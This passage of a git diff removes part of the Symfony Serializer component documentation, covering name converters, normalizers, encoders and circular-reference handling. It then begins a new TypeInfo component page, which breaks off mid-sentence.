used by passing it as second parameter of any -class extending :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractNormalizer`, -including :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` -and :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $nameConverter = new OrgPrefixNameConverter(); - $normalizer = new ObjectNormalizer(null, $nameConverter); - - $serializer = new Serializer([$normalizer], [new JsonEncoder()]); - - $company = new Company(); - $company->name = 'Acme Inc.'; - $company->address = '123 Main Street, Big City'; - - $json = $serializer->serialize($company, 'json'); - // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"} - $companyCopy = $serializer->deserialize($json, Company::class, 'json'); - // Same data as $company - -.. note:: - - You can also implement - :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface` - to access to the current class name, format and context. - -.. _using-camelized-method-names-for-underscored-attributes: - -CamelCase to snake_case -~~~~~~~~~~~~~~~~~~~~~~~ - -In many formats, it's common to use underscores to separate words (also known -as snake_case). However, in Symfony applications is common to use CamelCase to -name properties (even though the `PSR-1 standard`_ doesn't recommend any -specific case for property names). - -Symfony provides a built-in name converter designed to transform between -snake_case and CamelCased styles during serialization and deserialization -processes:: - - use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - - $normalizer = new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()); - - class Person - { - private $firstName; - - public function __construct($firstName) - { - $this->firstName = $firstName; - } - - public function getFirstName() - { - return $this->firstName; - } - } - - $kevin = new Person('Kévin'); - $normalizer->normalize($kevin); - // ['first_name' => 'Kévin']; - - $anne = $normalizer->denormalize(['first_name' => 'Anne'], 'Person'); - // Person object with firstName: 'Anne' - -Configure name conversion using metadata -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -When using this component inside a Symfony application and the class metadata -factory is enabled as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`, -this is already set up and you only need to provide the configuration. Otherwise:: - - // ... - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); - - $metadataAwareNameConverter = new MetadataAwareNameConverter($classMetadataFactory); - - $serializer = new Serializer( - [new ObjectNormalizer($classMetadataFactory, $metadataAwareNameConverter)], - ['json' => new JsonEncoder()] - ); - -Now configure your name conversion mapping. Consider an application that -defines a ``Person`` entity with a ``firstName`` property: - -.. configuration-block:: - - .. code-block:: php-annotations - - namespace App\Entity; - - use Symfony\Component\Serializer\Annotation\SerializedName; - - class Person - { - /** - * @SerializedName("customer_name") - */ - private $firstName; - - public function __construct($firstName) - { - $this->firstName = $firstName; - } - - // ... - } - - .. code-block:: yaml - - App\Entity\Person: - attributes: - firstName: - serialized_name: customer_name - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\Entity\Person"> - <attribute name="firstName" serialized-name="customer_name"/> - </class> - </serializer> - -This custom mapping is used to convert property names when serializing and -deserializing objects:: - - $serialized = $serializer->serialize(new Person("Kévin")); - // {"customer_name": "Kévin"} - -Serializing Boolean Attributes ------------------------------- - -If you are using isser methods (methods prefixed by ``is``, like -``App\Model\Person::isSportsperson()``), the Serializer component will -automatically detect and use it to serialize related attributes. - -The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add`` -and ``remove``. - -Using Callbacks to Serialize Properties with Object Instances -------------------------------------------------------------- - -When serializing, you can set a callback to format a specific object property:: - - use App\Model\Person; - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; - use Symfony\Component\Serializer\Serializer; - - $encoder = new JsonEncoder(); - - // all callback parameters are optional (you can omit the ones you don't use) - $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) { - return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : ''; - }; - - $defaultContext = [ - AbstractNormalizer::CALLBACKS => [ - 'createdAt' => $dateCallback, - ], - ]; - - $normalizer = new GetSetMethodNormalizer(null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer], [$encoder]); - - $person = new Person(); - $person->setName('cordoval'); - $person->setAge(34); - $person->setCreatedAt(new \DateTime('now')); - - $serializer->serialize($person, 'json'); - // Output: {"name":"cordoval", "age": 34, "createdAt": "2014-03-22T09:43:12-0500"} - -.. _component-serializer-normalizers: - -Normalizers ------------ - -There are several types of normalizers available: - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` - This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>` - to read and write in the object. It means that it can access to properties - directly and through getters, setters, hassers, issers, adders and removers. It supports - calling the constructor during the denormalization process. - - Objects are normalized to a map of property names and values (names are - generated by removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from - the method name and transforming the first letter to lowercase; e.g. - ``getFirstName()`` -> ``firstName``). - - The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by - default in Symfony applications with the Serializer component enabled. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` - This normalizer reads the content of the class by calling the "getters" - (public methods starting with "get"). It will denormalize data by calling - the constructor and the "setters" (public methods starting with "set"). - - Objects are normalized to a map of property names and values (names are - generated by removing the ``get`` prefix from the method name and transforming - the first letter to lowercase; e.g. ``getFirstName()`` -> ``firstName``). - -:class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` - This normalizer directly reads and writes public properties as well as - **private and protected** properties (from both the class and all of its - parent classes). It supports calling the constructor during the denormalization process. - - Objects are normalized to a map of property names to property values. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer` - This normalizer works with classes that implement :phpclass:`JsonSerializable`. - - It will call the :phpmethod:`JsonSerializable::jsonSerialize` method and - then further normalize the result. This means that nested - :phpclass:`JsonSerializable` classes will also be normalized. - - This normalizer is particularly helpful when you want to gradually migrate - from an existing codebase using simple :phpfunction:`json_encode` to the Symfony - Serializer by allowing you to mix which normalizers are used for which classes. - - Unlike with :phpfunction:`json_encode` circular references can be handled. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` - This normalizer converts :phpclass:`DateTimeInterface` objects (e.g. - :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings. - By default, it uses the `RFC3339`_ format. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` - This normalizer converts :phpclass:`DateTimeZone` objects into strings that - represent the name of the timezone according to the `list of PHP timezones`_. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` - This normalizer converts :phpclass:`SplFileInfo` objects into a data URI - string (``data:...``) such that files can be embedded into serialized data. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer` - This normalizer converts :phpclass:`DateInterval` objects into strings. - By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` - This normalizer works with classes that implement - :class:`Symfony\\Component\\Form\\FormInterface`. - - It will get errors from the form and normalize them into an normalized array. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` - This normalizer converts objects that implement - :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` - into a list of errors according to the `RFC 7807`_ standard. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` - Normalizes errors according to the API Problem spec `RFC 7807`_. - -:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` - This normalizer converts objects that implement - :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can - denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid` - or :class:`Symfony\\Component\\Uid\\Ulid`. - -.. versionadded:: 5.2 - - The ``UidNormalizer`` was introduced in Symfony 5.2. - -.. _component-serializer-encoders: - -Encoders --------- - -Encoders turn **arrays** into **formats** and vice versa. They implement -:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface` -for encoding (array to format) and -:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding -(format to array). - -You can add new encoders to a Serializer instance by using its second constructor argument:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Encoder\XmlEncoder; - use Symfony\Component\Serializer\Serializer; - - $encoders = [new XmlEncoder(), new JsonEncoder()]; - $serializer = new Serializer([], $encoders); - -Built-in Encoders -~~~~~~~~~~~~~~~~~ - -The Serializer component provides several built-in encoders: - -:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder` - This class encodes and decodes data in `JSON`_. - -:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder` - This class encodes and decodes data in `XML`_. - -:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder` - This encoder encodes and decodes data in `YAML`_. This encoder requires the - :doc:`Yaml Component </components/yaml>`. - -:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder` - This encoder encodes and decodes data in `CSV`_. - -All these encoders are enabled by default when using the Serializer component -in a Symfony application. - -The ``JsonEncoder`` -~~~~~~~~~~~~~~~~~~~ - -The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP -:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be -useful to modify how these functions operate in certain instances by providing -options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization -context to pass in these options using the key ``json_encode_options`` or -``json_decode_options`` respectively:: - - $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]); - -The ``CsvEncoder`` -~~~~~~~~~~~~~~~~~~~ - -The ``CsvEncoder`` encodes to and decodes from CSV. - -The ``XmlEncoder`` -~~~~~~~~~~~~~~~~~~ - -This encoder transforms arrays into XML and vice versa. - -For example, take an object normalized as following:: - - ['foo' => [1, 2], 'bar' => true]; - -The ``XmlEncoder`` will encode this object like that:: - - <?xml version="1.0"?> - <response> - <foo>1</foo> - <foo>2</foo> - <bar>1</bar> - </response> - -Be aware that this encoder will consider keys beginning with ``@`` as attributes, and will use -the key ``#comment`` for encoding XML comments:: - - $encoder = new XmlEncoder(); - $encoder->encode([ - 'foo' => ['@bar' => 'value'], - 'qux' => ['#comment' => 'A comment'], - ], 'xml'); - // will return: - // <?xml version="1.0"?> - // <response> - // <foo bar="value"/> - // <qux><!-- A comment --!><qux> - // </response> - -You can pass the context key ``as_collection`` in order to have the results -always as a collection. - -.. tip:: - - XML comments are ignored by default when decoding contents, but this - behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``. - - Data with ``#comment`` keys are encoded to XML comments by default. This can be - changed with the optional ``$encoderIgnoredNodeTypes`` argument of the - ``XmlEncoder`` class constructor. - -The ``YamlEncoder`` -~~~~~~~~~~~~~~~~~~~ - -This encoder requires the :doc:`Yaml Component </components/yaml>` and -transforms from and to Yaml. - -Skipping ``null`` Values ------------------------- - -By default, the Serializer will preserve properties containing a ``null`` value. -You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option -to ``true``:: - - $dummy = new class { - public $foo; - public $bar = 'notNull'; - }; - - $normalizer = new ObjectNormalizer(); - $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]); - // ['bar' => 'notNull'] - -.. _component-serializer-handling-circular-references: - -Handling Circular References ----------------------------- - -Circular references are common when dealing with entity relations:: - - class Organization - { - private $name; - private $members; - - public function setName($name) - { - $this->name = $name; - } - - public function getName() - { - return $this->name; - } - - public function setMembers(array $members) - { - $this->members = $members; - } - - public function getMembers() - { - return $this->members; - } - } - - class Member - { - private $name; - private $organization; - - public function setName($name) - { - $this->name = $name; - } - - public function getName() - { - return $this->name; - } - - public function setOrganization(Organization $organization) - { - $this->organization = $organization; - } - - public function getOrganization() - { - return $this->organization; - } - } - -To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` -or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` -throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException` -when such a case is encountered:: - - $member = new Member(); - $member->setName('Kévin'); - - $organization = new Organization(); - $organization->setName('Les-Tilleuls.coop'); - $organization->setMembers([$member]); - - $member->setOrganization($organization); - - echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException - -The key ``circular_reference_limit`` in the default context sets the number of -times it will serialize the same object before considering it a circular -reference. The default value is ``1``. - -Instead of throwing an exception, circular references can also be handled -by custom callables. This is especially useful when serializing entities -having unique identifiers:: - - $encoder = new JsonEncoder(); - $defaultContext = [ - AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function ($object, $format, $context) { - return $object->getName(); - }, - ]; - $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer], [$encoder]); - var_dump($serializer->serialize($org, 'json')); - // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]} - -Handling Serialization Depth ----------------------------- - -The Serializer component is able to detect and limit the serialization depth. -It is especially useful when serializing large trees. Assume the following data -structure:: - - namespace Acme; - - class MyObj - { - public $foo; - - /** - * @var self - */ - public $child; - } - - $level1 = new MyObj(); - $level1->foo = 'level1'; - - $level2 = new MyObj(); - $level2->foo = 'level2'; - $level1->child = $level2; - - $level3 = new MyObj(); - $level3->foo = 'level3'; - $level2->child = $level3; - -The serializer can be configured to set a maximum depth for a given property. -Here, we set it to 2 for the ``$child`` property: - -.. configuration-block:: - - .. code-block:: php-annotations - - namespace Acme; - - use Symfony\Component\Serializer\Annotation\MaxDepth; - - class MyObj - { - /** - * @MaxDepth(2) - */ - public $child; - - // ... - } - - .. code-block:: yaml - - Acme\MyObj: - attributes: - child: - max_depth: 2 - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="Acme\MyObj"> - <attribute name="child" max-depth="2"/> - </class> - </serializer> - -The metadata loader corresponding to the chosen format must be configured in -order to use this feature. It is done automatically when using the Serializer component -in a Symfony application. When using the standalone component, refer to -:ref:`the groups documentation <component-serializer-attributes-groups>` to -learn how to do that. - -The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context -is set to ``true``. In the following example, the third level is not serialized -because it is deeper than the configured maximum depth of 2:: - - $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]); - /* - $result = [ - 'foo' => 'level1', - 'child' => [ - 'foo' => 'level2', - 'child' => [ - 'child' => null, - ], - ], - ]; - */ - -Instead of throwing an exception, a custom callable can be executed when the -maximum depth is reached. This is especially useful when serializing entities -having unique identifiers:: - - use Doctrine\Common\Annotations\AnnotationReader; - use Symfony\Component\Serializer\Annotation\MaxDepth; - use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory; - use Symfony\Component\Serializer\Mapping\Loader\AnnotationLoader; - use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class Foo - { - public $id; - - /** - * @MaxDepth(1) - */ - public $child; - } - - $level1 = new Foo(); - $level1->id = 1; - - $level2 = new Foo(); - $level2->id = 2; - $level1->child = $level2; - - $level3 = new Foo(); - $level3->id = 3; - $level2->child = $level3; - - $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); - - // all callback parameters are optional (you can omit the ones you don't use) - $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) { - return '/foos/'.$innerObject->id; - }; - - $defaultContext = [ - AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler, - ]; - $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext); - - $serializer = new Serializer([$normalizer]); - - $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]); - /* - $result = [ - 'id' => 1, - 'child' => [ - 'id' => 2, - 'child' => '/foos/3', - ], - ]; - */ - -Handling Arrays ---------------- - -The Serializer component is capable of handling arrays of objects as well. -Serializing arrays works just like serializing a single object:: - - use Acme\Person; - - $person1 = new Person(); - $person1->setName('foo'); - $person1->setAge(99); - $person1->setSportsman(false); - - $person2 = new Person(); - $person2->setName('bar'); - $person2->setAge(33); - $person2->setSportsman(true); - - $persons = [$person1, $person2]; - $data = $serializer->serialize($persons, 'json'); - - // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}] - -If you want to deserialize such a structure, you need to add the -:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` -to the set of normalizers. By appending ``[]`` to the type parameter of the -:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method, -you indicate that you're expecting an array instead of a single object:: - - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer; - use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer; - use Symfony\Component\Serializer\Serializer; - - $serializer = new Serializer( - [new GetSetMethodNormalizer(), new ArrayDenormalizer()], - [new JsonEncoder()] - ); - - $data = ...; // The serialized data from the previous example - $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json'); - -The ``XmlEncoder`` ------------------- - -This encoder transforms arrays into XML and vice versa. For example, take an -object normalized as following:: - - ['foo' => [1, 2], 'bar' => true]; - -The ``XmlEncoder`` encodes this object as follows: - -.. code-block:: xml - - <?xml version="1.0"?> - <response> - <foo>1</foo> - <foo>2</foo> - <bar>1</bar> - </response> - -The array keys beginning with ``@`` are considered XML attributes:: - - ['foo' => ['@bar' => 'value']]; - - // is encoded as follows: - // <?xml version="1.0"?> - // <response> - // <foo bar="value"/> - // </response> - -Use the special ``#`` key to define the data of a node:: - - ['foo' => ['@bar' => 'value', '#' => 'baz']]; - - // is encoded as follows: - // <?xml version="1.0"?> - // <response> - // <foo bar="value">baz</foo> - // </response> - -Context -~~~~~~~ - -The ``encode()`` method defines a third optional parameter called ``context`` -which defines the configuration options for the XmlEncoder an associative array:: - - $xmlEncoder->encode($array, 'xml', $context); - -These are the options available: - -``xml_format_output`` - If set to true, formats the generated XML with line breaks and indentation. - -``xml_version`` - Sets the XML version attribute (default: ``1.1``). - -``xml_encoding`` - Sets the XML encoding attribute (default: ``utf-8``). - -``xml_standalone`` - Adds standalone attribute in the generated XML (default: ``true``). - -``xml_root_node_name`` - Sets the root node name (default: ``response``). - -``remove_empty_tags`` - If set to true, removes all empty tags in the generated XML (default: ``false``). - -The ``CsvEncoder`` ------------------- - -This encoder transforms arrays into CSV and vice versa. - -Context -~~~~~~~ - -The ``encode()`` method defines a third optional parameter called ``context`` -which defines the configuration options for the CsvEncoder an associative array:: - - $csvEncoder->encode($array, 'csv', $context); - -These are the options available: - -``csv_delimiter`` - Sets the field delimiter separating values (one character only, default: ``,``). - -``csv_enclosure`` - Sets the field enclosure (one character only, default: ``"``). - -``csv_escape_char`` - Sets the escape character (at most one character, default: empty string). - -``csv_key_separator`` - Sets the separator for array's keys during its flattening (default: ``.``). - -``csv_headers`` - Sets the headers for the data (default: ``[]``, inferred from input data's keys). - -``csv_escape_formulas`` - Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``). - -``as_collection`` - Always returns results as a collection, even if only one line is decoded. - -``no_headers`` - Disables header in the encoded CSV (default: ``false``). - -``output_utf8_bom`` - Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``). - -Handling Constructor Arguments ------------------------------- - -If the class constructor defines arguments, as usually happens with -`Value Objects`_, the serializer won't be able to create the object if some -arguments are missing. In those cases, use the ``default_constructor_arguments`` -context option:: - - use Symfony\Component\Serializer\Normalizer\AbstractNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class MyObj - { - private $foo; - private $bar; - - public function __construct($foo, $bar) - { - $this->foo = $foo; - $this->bar = $bar; - } - } - - $normalizer = new ObjectNormalizer($classMetadataFactory); - $serializer = new Serializer([$normalizer]); - - $data = $serializer->denormalize( - ['foo' => 'Hello'], - 'MyObj', - null, - [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [ - 'MyObj' => ['foo' => '', 'bar' => ''], - ]] - ); - // $data = new MyObj('Hello', ''); - -Recursive Denormalization and Type Safety ------------------------------------------ - -The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize -complex types (objects). The type of the class' property will be guessed using the provided -extractor and used to recursively denormalize the inner data. - -When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors. -When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`, -(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th -parameter of the ``ObjectNormalizer``:: - - namespace Acme; - - use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor; - use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - class ObjectOuter - { - private $inner; - private $date; - - public function getInner() - { - return $this->inner; - } - - public function setInner(ObjectInner $inner) - { - $this->inner = $inner; - } - - public function setDate(\DateTimeInterface $date) - { - $this->date = $date; - } - - public function getDate() - { - return $this->date; - } - } - - class ObjectInner - { - public $foo; - public $bar; - } - - $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor()); - $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]); - - $obj = $serializer->denormalize( - ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'], - 'Acme\ObjectOuter' - ); - - dump($obj->getInner()->foo); // 'foo' - dump($obj->getInner()->bar); // 'bar' - dump($obj->getDate()->format('Y-m-d')); // '1988-01-21' - -When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize -matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but -the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException` -will be thrown. The type enforcement of the properties can be disabled by setting -the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT`` -to ``true``. - -Serializing Interfaces and Abstract Classes -------------------------------------------- - -When dealing with objects that are fairly similar or share properties, you may -use interfaces or abstract classes. The Serializer component allows you to -serialize and deserialize these objects using a *"discriminator class mapping"*. - -The discriminator is the field (in the serialized string) used to differentiate -between the possible objects. In practice, when using the Serializer component, -pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface` -implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. - -The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface`` -called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata` -which uses the class metadata factory and a mapping configuration to serialize -and deserialize objects of the correct class. - -When using this component inside a Symfony application and the class metadata factory is enabled -as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`, -this is already set up and you only need to provide the configuration. Otherwise:: - - // ... - use Symfony\Component\Serializer\Encoder\JsonEncoder; - use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata; - use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping; - use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; - use Symfony\Component\Serializer\Serializer; - - $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader())); - - $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory); - - $serializer = new Serializer( - [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)], - ['json' => new JsonEncoder()] - ); - -Now configure your discriminator class mapping. Consider an application that -defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository`` -and ``BitBucketCodeRepository`` classes: - -.. configuration-block:: - - .. code-block:: php-annotations - - namespace App; - - use Symfony\Component\Serializer\Annotation\DiscriminatorMap; - - /** - * @DiscriminatorMap(typeProperty="type", mapping={ - * "github"="App\GitHubCodeRepository", - * "bitbucket"="App\BitBucketCodeRepository" - * }) - */ - interface CodeRepository - { - // ... - } - - .. code-block:: yaml - - App\CodeRepository: - discriminator_map: - type_property: type - mapping: - github: 'App\GitHubCodeRepository' - bitbucket: 'App\BitBucketCodeRepository' - - .. code-block:: xml - - <?xml version="1.0" ?> - <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping - https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd" - > - <class name="App\CodeRepository"> - <discriminator-map type-property="type"> - <mapping type="github" class="App\GitHubCodeRepository"/> - <mapping type="bitbucket" class="App\BitBucketCodeRepository"/> - </discriminator-map> - </class> - </serializer> - -Once configured, the serializer uses the mapping to pick the correct class:: - - $serialized = $serializer->serialize(new GitHubCodeRepository()); - // {"type": "github"} - - $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json'); - // instanceof GitHubCodeRepository - -Performance ------------ - -To figure which normalizer (or denormalizer) must be used to handle an object, -the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the -:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization` -(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`) -of all registered normalizers (or denormalizers) in a loop. - -The result of these methods can vary depending on the object to serialize, the -format and the context. That's why the result **is not cached** by default and -can result in a significant performance bottleneck. - -However, most normalizers (and denormalizers) always return the same result when -the object's type and the format are the same, so the result can be cached. To -do so, make those normalizers (and denormalizers) implement the -:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface` -and return ``true`` when -:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod` -is called. - -.. note:: - - All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>` - as well the ones included in `API Platform`_ natively implement this interface. - -Learn more ----------- - -.. toctree:: - :maxdepth: 1 - :glob: - - /serializer - -.. seealso:: - - Normalizers for the Symfony Serializer Component supporting popular web API formats - (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project. - -.. seealso:: - - A popular alternative to the Symfony Serializer component is the third-party - library, `JMS serializer`_ (versions before ``v1.12.0`` were released under - the Apache license, so incompatible with GPLv2 projects). - -.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/ -.. _`JMS serializer`: https://github.com/schmittjoh/serializer -.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8 -.. _JSON: http://www.json.org/ -.. _XML: https://www.w3.org/XML/ -.. _YAML: https://yaml.org/ -.. _CSV: https://tools.ietf.org/html/rfc4180 -.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807 -.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark -.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object -.. _`API Platform`: https://api-platform.com -.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php diff --git a/components/type_info.rst b/components/type_info.rst new file mode 100644 index 00000000000..817c7f1d61a --- /dev/null +++ b/components/type_info.rst @@ -0,0 +1,202 @@ +The TypeInfo Component +====================== + +The TypeInfo component extracts type information from PHP elements like properties, +arguments and return types. + +This component provides: + +* A powerful ``Type`` definition that can handle unions, intersections, and generics + (and can be extended to support more types in the future); +* A way to get types from PHP elements such as properties, method arguments, + return types, and raw strings. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/type-info + +.. include:: /components/require_autoload.rst.inc + +Usage +----- + +This component gives you a :class:`Symfony\\Component\\TypeInfo\\Type` object that +represents the PHP type of anything you built or asked to resolve. + +There are two ways to use this component. First one is to create a type manually thanks +to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following:: + + use Symfony\Component\TypeInfo\Type; + + Type::int(); + Type::nullable(Type::string()); + Type::generic(Type::object(Collection::class), Type::int()); + Type::list(Type::bool()); + Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class)); + +Many others methods are available and can be found +in :class:`Symfony\\Component\\TypeInfo\\TypeFactoryTrait`. + +You can also use a generic method that detects the type automatically:: + + Type::fromValue(1.1); // same as Type::float() + Type::fromValue('...'); // same as Type::string() + Type::fromValue(false); // same as Type::false() + +.. versionadded:: 7.3 + + The ``fromValue()`` method was introduced in Symfony 7.3. + +Resolvers +~~~~~~~~~ + +The second way to use the component is by using ``TypeInfo`` to resolve a type +based on reflection or a simple string. This approach is designed for libraries +that need a simple way to describe a class 